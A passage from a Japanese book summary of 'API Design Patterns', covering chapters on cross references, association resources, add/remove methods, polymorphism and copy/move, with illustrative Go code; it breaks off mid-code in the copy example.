著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\\"id\\"` Title string `json:\\"title\\"` AuthorID string `json:\\"authorId\\"`}type Author struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"`}type ChangeLogEntry struct { ID string `json:\\"id\\"` TargetID string `json:\\"targetId\\"` TargetType string `json:\\"targetType\\"` Description string `json:\\"description\\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\\"id\\"` UserID string `json:\\"userId\\"` GroupID string `json:\\"groupId\\"` JoinedAt time.Time `json:\\"joinedAt\\"` Role string `json:\\"role\\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \\"text\\" ImageMessage MessageType = \\"image\\" AudioMessage MessageType = \\"audio\\")type Message struct { ID string `json:\\"id\\"` Type MessageType `json:\\"type\\"` Sender string `json:\\"sender\\"` Timestamp time.Time `json:\\"timestamp\\"` Content interface{} `json:\\"content\\"`}type TextContent struct { Text string `json:\\"text\\"`}type ImageContent struct { URL string `json:\\"url\\"` Width int `json:\\"width\\"` Height int `json:\\"height\\"`}type AudioContent struct { URL string `json:\\"url\\"` Duration float64 `json:\\"duration\\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\\"invalid content for text message\\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\\"invalid content for image message\\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\\"invalid content for audio message\\") } default: return errors.New(\\"unknown message type\\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\\"sourceId\\"` DestinationID string `json:\\"destinationId,omitempty\\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \\"\\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := 